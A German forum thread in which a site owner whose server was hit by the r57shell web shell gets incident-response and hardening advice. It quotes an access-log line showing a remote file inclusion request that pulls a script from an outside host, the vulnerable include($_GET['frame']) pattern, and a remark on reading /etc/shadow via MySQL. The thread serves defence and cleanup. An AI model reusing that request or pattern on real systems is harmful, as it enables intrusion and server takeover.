Server gehackt - was ist zu tun?

susanne

Aktives Mitglied
Mitglied seit
23 Dez 2004
Beiträge
1,861
Punkte für Reaktionen
0
Punkte
0
Ich hoffe, ich darf für ein persönliches Problem mal Forumintern "missbrauchen".

"Hinterlegt" wurde eine/die "r57shell 1.31" - die und anderen neu angelegten Schrott löschte ich sofort nachdem ich es bemerkte. Anmerkung: es war offensichtlich noch einfach??, da ich nur auf gestern geänderte achten musste.

Ausgesehen hat der Schrott so:
Virus.jpg

Es sind die Schadprogramme: LINUX/Procfake, PHP/Rst.e, LINUX/OSF-8759.

Nun hatte ich heute Nacht gehofft, mit dem löschen ist alles getan - bin kein Serverexperte :( - aber musste heute morgen feststellen, dass neuer Schrott auf meinem Server geladen wurde. Diesmal mit Datum in der Vergangenheit, also nicht mehr so leicht ausmachbar.

Edit, der Schrott von heute morgen:

virus_2.jpg



Also kurz gefragt, was sollte man alles tun?

Danke
 
Zuletzt bearbeitet:
Die Antwort ist ganz einfach:
  • Server sofort vom Netz nehmen
  • Server neu formatieren und installieren
Gecrackte Server haben fast immer einen rootkit installiert, der Zugriff von aussen erlaubt. Er wird dann meist als Datenablage (Software, Pornos),als Spiel- oder Chatserver misbraucht. Ausserdem werden wichtige Binariers ausgetauscht (ps, top, ls, lsof,...), damit Du die Boyz nicht siehst. Besonders gefährlich sind Tastaturschnüffler - d.h. SSH Passwörter werden möglicherweise abgeschnüffelt und andere Maschinen befallen.

Also: Weg damit

Deine tante
 
tanteauguri schrieb:
  • Server sofort vom Netz nehmen
  • Server neu formatieren und installieren

Ich persönlich würde nach dem "vom Netz nehmen" noch den aktuellen Status sichern, bevor ich den Server neu aufsetze, es sei denn, Du bist dir 100% sicher, dass mit Deinem Server keine ungesetzlichen Dinge durchgeführt wurden. Sonst kann es passieren, dass Du nicht belegen kannst, dass Dein Server gehackt war.
 
susanne schrieb:
Ich hoffe, ich darf für ein persönliches Problem mal Forumintern "missbrauchen".
Habe das Thema nach Allgemein verschoben, sonst denkt noch jemand, unser Server wäre gehackt worden.

Mehr Antworten bekommst hier IMO auch. Ich kann Dir aber leider nichts Nützliches dazu sagen. :noidea:
 
@susanne:
Welche Zugänge hast du denn alles offen? SSH, FTP, HTTP, POP3, SMTP,...?

Benutzt du ein Webinterface womit du den Server verwalten kannst (jetzt nicht sowas wie stoppen oder so sondern Programme installieren, einrichten)? Einige V-Server sind offen wie Scheunentore, ich hatte mal so einen Anbieter der die Server in so einem recht netten Zustand ausgeliefert hatte...

Um mal zu gucken was der Server so macht und wer so alles auf der Kiste drauf war mit ssh einmal:
last -10 eingeben.

Zeigt die dir lezten 10 Besucher an mit IP Adresse die sich per SSH auf der Kiste angemeldet hatten, ist da nichts auffäliges liegt es naha das entweder die Liste "verändert" wurde oder es einen anderen weg gibt.

Mit netstat -tan mal gucken mit wem oder was der Server so alles eine Verbundung hat, nicht dass das Teil schon eine Spam Schleuder ist.

Thema PHP, da gibt es ja einige Lücken. verwendest du zufällig sowas wo man scripte über die URL Lädt z.B. sowas: index.php?frame=eine_seite

Wenn man da nicht aufpasst läßt sich von "außen" beliebiger PHP Code ausführen und die Mashine ist auch weg.

Meine Vorgehensweise:
  • Daten sichern
  • Server ausschalten (wenn möglich)
  • Neuinstallieren
  • Alles unnötige abschalten das nur noch Standarddienste die du brauchst laufen

Was willst du denn auf dem Server laufen lassen?
 
andreas schrieb:
Ich persönlich würde nach dem "vom Netz nehmen" noch den aktuellen Status sichern, bevor ich den Server neu aufsetze

ACK - zu diesem Zweck bootest Du den Kübel mit einer LiveCD (z.B Knoppix) und schaust mal, ob Du noch verwertbare Logeinträge findest um die IP der Brüder festzustellen. Nachdem mit grosser Wahrscheinlichkeit die von einem anderen gekaperten Server kommen, sollte man den Provider benachrichten (eine whois Abfrage machen) und auch die Staatsanwaltschaft einschalten.

Achja: Und fürderhin alle Updates einspielen, damit soetwas nicht nocheinmal passiert....
 
tanteauguri schrieb:
zu diesem Zweck bootest Du den Kübel mit einer LiveCD (z.B Knoppix) und schaust mal, ob Du noch verwertbare Logeinträge findest um die IP der Brüder festzustellen.
Wie soll ich einen Server der in einem Rechenzetrum steht denn mit Knopix booten? Auf den Teilen kannst du meist noch nicht einmals den Kernel wechseln (zumindest nicht bei V-Servern) da steckt ja ein ganz anderes System hinter.
 
Puh danke, hätte vielleicht dazu schreiben sollen, dass es sich um einen gemanagten VS handelt.

So, mittlerweile habe ich danke der Logs die Sicherheitslücke ausmachen können.

Der Angriff sieht so aus:

151.76.xxx.xx - - [26/Feb/2007:19:28:28 +0100] "GET /downloadcounter.php?xxxx_counter_verzeichniss=http ://www.middleriver.k12.mn.us/poll/db/ind.jpg? HTTP/1.1" 200 35895 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Dann wurde mit:
151.76.xxx.xx - - [26Feb2007193343 +0100] GET config.php HTTP1.1 200 35819 - Mozilla4.0 (compatible; MSIE 6.0; Windows NT 5.1)

die " config.php " ausgetauscht. Naja, und dann hatte man "richtigen" Zugriff.

Ich gehe jetzt erstmal davon aus, dass es "nur" ein Verzeichnis erwischt hat, dass habe ich virengescannt & die ausgetauschten / verseuchten Dateien gelöscht & mit die /eine Sicherung hochgeladen. Und zu guter letzt, weil jetzt erst gefunden, die "downloadcounter.php" erstmal ersatzlos gelöscht.

Würde ich in den Logs sehen, wenn die an die Datenbanken rangekommen sind?
 
beckmann schrieb:
Wie soll ich einen Server der in einem Rechenzetrum steht denn mit Knopix booten? Auf den Teilen kannst du meist noch nicht einmals den Kernel wechseln (zumindest nicht bei V-Servern) da steckt ja ein ganz anderes System hinter.

Woher weisst Du, dass es sich um einen Vserver handelt? Davon hat susanne ja nichts geschrieben. Ansonsten gilt: Auch Rechner, die im Rechenzentrum stehen, kann mit mit Konppix booten ;-)
 
Mh, mit PHP kann man ordentlich was kaputt machen. Ein typisches Beispiel ist sowas im Code:
PHP:
include($_GET['frame']);

Und dann war es mit datei.php?frame=http://... schon passiert dass man sich Fremdencode eingefangen hat. Daran hat man vorher überhaupt nicht gedacht :(

Man kann in der php.ini das ganze ausschalten dass scripte nur vom eigenen Server geladen werden und kein Zugriff von außen möglich ist, oder man passt sein Script an.

Wenn du sowas findest schnell beseitigen, gerade als PHP Anfänger baut man sowas schon mal gerne ein ohne über die Gefahren nach zu denken...

Edit: Auch mit diesem Downloadteil kannst du "schaden" Anrichten, angenommen ich nehme dafür php code und in dem Verzeichnis wo es gespeichert wird ist php ausführbar und man weis sogar noch wo das liegt dann ist das auch eine große Lücke auch so ist Fremder Code ausführbar.
 
susanne schrieb:
Würde ich in den Logs sehen, wenn die an die Datenbanken rangekommen sind?

Wenn die config.inc.php zu lesen war, dann haben sie aller Wahrscheinlichkeit nach auch das Passwort von der Datenbank, das hoffentlich nicht auch das root pw ist. Du kannst ja mal nachschauen, ob Du mit last, lastlog oder history irgendwas verdächtiges siehst.

Wichtig ist zu sehen, ob die Jungs Rootrechte erlangt haben. So könnte es bespielsweise sein, dass die Zugriff zur /etc/shadow hatten (z.B. mit mysql mit LOAD DATA IN FILE), die sie extern extern cracken können, etc.

Unter Systemadministratoren gilt: Wenns irgendwie geht, neu machen.
 
tanteauguri schrieb:
Wichtig ist zu sehen, ob die Jungs Rootrechte erlangt haben. So könnte es bespielsweise sein, dass die Zugriff zur /etc/shadow hatten (z.B. mit mysql mit LOAD DATA IN FILE), die sie extern extern cracken können, etc.

Wenn ich mir so die Oberfläche von dem r57shell 1.31 angeschaut habe, dann ist damit alles möglich.

tanteauguri schrieb:
Unter Systemadministratoren gilt: Wenns irgendwie geht, neu machen.

Also wäre der einzig richtige Weg, meinen Hoster bitten eine Sicherung einzuspielen?

Für die Zukunft ...... was gibt es so "auf den Markt" , um täglich eine automatische Sicherung der Dateien & Datenbanken fahren zu lassen? Mein Hoster, hebt seine täglichen Sicherungen nur 3 Tage auf ..... Urlaub machen wäre damit nicht drin.
 
Hallo susanne,

ich hab einen nächtlichen cron-job, der mit REOBackup (einfach mal bei google suchen) alle wichtigen Dateien auf einen backup-server spielt. Die Vorhaltezeit ist dabei einstellbar, zB täglich ein incrementelles backup, jede Woche ein Vollständiges und die je für zB zwei Wochen speichern.
 
susanne schrieb:
Also wäre der einzig richtige Weg, meinen Hoster bitten eine Sicherung einzuspielen?

Es kommt darauf an, was der Server alles macht, aber das Prozedere wäre folgendermassen:
  • /etc runterholen, damit hast Du einmal alle wichtigen Konfigurationen (User, Passwörter, Apache Hosts, etc)
  • Das Webverzeichnis - damit hast Du Deine Webseiten
  • /var/lib/mysql - damit hast Du die Datenbank binär gesichert, alternativ kannst Du einen mysqldump machen
  • Eventuelle Mails sitzen in /var/spool/mail. Wenns nicht zu gross ist, kannst Du das ganze /var sichern, dann hast Du eigientlich die ganze Kiste.

Wenn Dein Provider dir eine jungfräuliche Kiste unter Deiner alten IP aufbläst, installierst Du die Pakete, die DU brauchst uns spielts die Daten zurück und du kannst auf Urlaub fahrern, weil Du hast ja dann eine saubere Kiste -vorausgesetzt Du spielst nicht jeden PHP Dreck ein, den irgenwer irgendwie zusammengepopelt hat.

Deine Tante
 
So die Antwort vom Entwickler ist da

Also ein Angriff auf diesem Wege konnte ich nur mit

register_globals = on

nachstellen. Sollte man vielleicht auf off stellen.


tanteauguri schrieb:
Wenn Dein Provider dir eine jungfräuliche Kiste unter Deiner alten IP aufbläst, installierst Du die Pakete, die DU brauchst uns spielts die Daten zurück ....

So meinte ich das nicht, sondern ein Restor von vorgestern.

Ich werde allerdings dass ganze Counterverzeichnis löschen & neu aufsetzten, ich gehen davon aus, dass sie den Rest* in Ruhe gelassen haben.

Denke ich zu einfach, dass ich, wenn ich den Rest sichere & mein Virenscanner nicht anschlägt der dann sauber ist?
 
susanne schrieb:
Denke ich zu einfach, dass ich, wenn ich den Rest sichere & mein Virenscanner nicht anschlägt der dann sauber ist?
Die haben Dir ja kein Virus reingetan, deshalb nutzt der Virenscanner nichts. Der Punkt ist einfach, dass man nicht sagen kann, was die gemacht haben, weil sich die meistens gut verstecken, indem sie wichtige Befehle einfach austauschen.

Es gibt ein Programm chkrootkit, das rootkits aufspürt, du solltest das nachinstallieren und den Server damit prüfen. Weiters kann ein externer Portscan helfen, um mögliche daemons aufzuspüren, die Du intern gar nicht mehr siehst.

Interessant ist, dass eine config.inc.php sich vom Webserver überschreiben liess - das deutet sowieso schon auf fahrlässige Verwaltung hin, weil der Webserver eigentlich nichts schreiben darf. Übrigens solltest Du darauf auch noch achten, dass in der php.ini save_mode auf on ist.

Wenn Du den Server nicht neu machen willst, dann
  • ändere die Passworte
  • überprüfe ob irgendwo bei einem Benutzer im ~/.ssh ein File namens authorized_keys existiert - vorallem beim root - sofort löschen!
  • versichere Dich, dass es keinen zweiten Benutzer mit der ID 0 in der /etc/passwd gibt
  • und dass kein Systemuser wie uucp, wheel oder spool in der /etc/shadow ein Passwort gesetzt hat
  • überprufe, dass nur Ports offen sind, die Du auch kennst

Deine Tante
 
Zuletzt bearbeitet:
Danke Tante,

kein Virus? Antivir hat doch angeschlagen, und mir gesagt, was getauscht oder neu hochgeladen wurde.


tanteauguri schrieb:
Es gibt ein Programm chkrootkit, das rootkits aufspürt, du solltest das nachinstallieren und den Server damit prüfen. Weiters kann ein externer Portscan helfen, um mögliche daemons aufzuspüren, die Du intern gar nicht mehr siehst.


Übrigens solltest Du darauf auch noch achten, dass in der php.ini save_mode auf on ist.

Wenn Du den Server nicht neu machen willst, dann
  • ändere die Passworte
  • überprüfe ob irgendwo bei einem Benutzer im ~/.ssh ein File namens authorized_keys existiert - vorallem beim root - sofort löschen!
  • verichere Dich, dass es keinen zweiten Benutzer mit der ID 0 in der /etc/passwd gibt
  • und ob ein Systemuser wie uucp, wheel oder spool in der /etc/shadow ein Passwort gesetzt hat
  • überprufe, das nur Ports offen sind, die Du auch kennst

Leicht überfordert. :rolleyes:





tanteauguri schrieb:
Interessant ist, dass eine config.inc.php sich vom Webserver überschreiben liess - das deutet sowieso schon auf fahrlässige Verwaltung hin, weil der Webserver eigentlich nichts schreiben darf.

Von mir, oder vom Hoster?
 
susanne schrieb:
kein Virus? Antivir hat doch angeschlagen, und mir gesagt, was getauscht oder neu hochgeladen wurde.
Welche Datein hat er denn angemeckert? Das wäre interessant...


susanne schrieb:
Von mir, oder vom Hoster?
Wahrscheinlich von Dir - sie sind ja nicht beim Hoster eingebrochen :noidea:
 
tanteauguri schrieb:
Welche Datein hat er denn angemeckert? Das wäre interessant...


Siehe oben erstes Posting, habe den Schrott auch noch auf Platte, selber runterladen kannst du ihn die auf der geposteten .ru Domain



Wahrscheinlich von Dir - sie sind ja nicht beim Hoster eingebrochen :noidea:
Von mir? Dann verrate doch bitte, was ich hätte anders machen sollen / müssen, um dass zu verhindern.

Globals off ist erledigt - mein Hoster stellt ein Menü zur Verfügung, wo man mit einem Rutsch jedes Verzeichnis mit einer eigenen php.ini "ausstatten kann" So sieht sie aus: Änderungsvorschläge sind willkommen:

:idea: Bitte auch sagen, wenn was veröffentlicht ist, was nicht in die Öffentlichkeit gehört.


Code:
  engine = On
  short_open_tag = On
  precision = "14"
  y2k_compliance = Off
  output_buffering = Off
  output_handler = 
  unserialize_callback_func = 
  zlib.output_compression = 
  implicit_flush = Off
  allow_call_time_pass_reference = On
  safe_mode = Off
  safe_mode_gid = 
  safe_mode_include_dir = 
  safe_mode_exec_dir = 
  safe_mode_allowed_env_vars = "PHP_"
  safe_mode_protected_env_vars = "LD_LIBRARY_PATH"
  disable_functions = 
  highlight.string = "#CC0000"
  highlight.comment = "#FF9900"
  highlight.keyword = "#006600"
  highlight.bg = "#FFFFFF"
  highlight.default = "#0000CC"
  highlight.html = "#000000"
  expose_php = On
  max_execution_time = "90"
  memory_limit = "50M"
  error_reporting = 2039
  display_startup_errors = 
  track_errors = Off
  variables_order = "EGPCS"
  register_argc_argv = On
  post_max_size = 8M
  gpc_order = "GPC"
  magic_quotes_runtime = Off
  magic_quotes_sybase = Off
  default_mimetype = "text/html"
  doc_root = 
  user_dir = 
  enable_dl = On
  file_uploads = 1

[mail function]
  SMTP = localhost
  sendmail_from = [EMAIL="[email protected]"][email protected][/EMAIL]

[SQL]
  sql.safe_mode = Off

[ODBC]
  odbc.allow_persistent = 1
  odbc.check_persistent = 1
  odbc.max_persistent = -1
  odbc.max_links = -1
  odbc.defaultlrl = 4096
  odbc.defaultbinmode = 1

[MySQL]
  mysql.allow_persistent = Off
  mysql.max_persistent = "-1"
  mysql.max_links = "-1"
  mysql.default_port = 
  mysql.default_socket = 
  mysql.default_host = 
  mysql.default_user = 
  mysql.default_password = 

[PostgresSQL]
  pgsql.allow_persistent = On
  pgsql.auto_reset_persistent = 
  pgsql.max_persistent = "-1"
  pgsql.max_links = "-1"

[bcmath]
  bcmath.scale = "0"

[browscap]
  browscap = "/usr/local/lib/browscap.ini"

[Session]
  session.serialize_handler = "php"
  session.gc_probability = "1"
  session.referer_check = 
  session.entropy_length = "0"
  session.entropy_file = 
  session.cache_limiter = "nocache"
  session.cache_expire = "180"
  session.use_trans_sid = 1
  url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=fakeentry"

[Sockets]
  sockets.use_system_read = 1

[Assertion]
  assert.active = On
  assert.warning = On
  assert.bail = Off
  assert.callback = 
  assert.quiet_eval = Off
 
Zuletzt bearbeitet von einem Moderator:
save_mode sollte auf on sein!!!
 
Holen Sie sich 3CX - völlig kostenlos!
Verbinden Sie Ihr Team und Ihre Kunden Telefonie Livechat Videokonferenzen

Gehostet oder selbst-verwaltet. Für bis zu 10 Nutzer dauerhaft kostenlos. Keine Kreditkartendetails erforderlich. Ohne Risiko testen.

3CX
Für diese E-Mail-Adresse besteht bereits ein 3CX-Konto. Sie werden zum Kundenportal weitergeleitet, wo Sie sich anmelden oder Ihr Passwort zurücksetzen können, falls Sie dieses vergessen haben.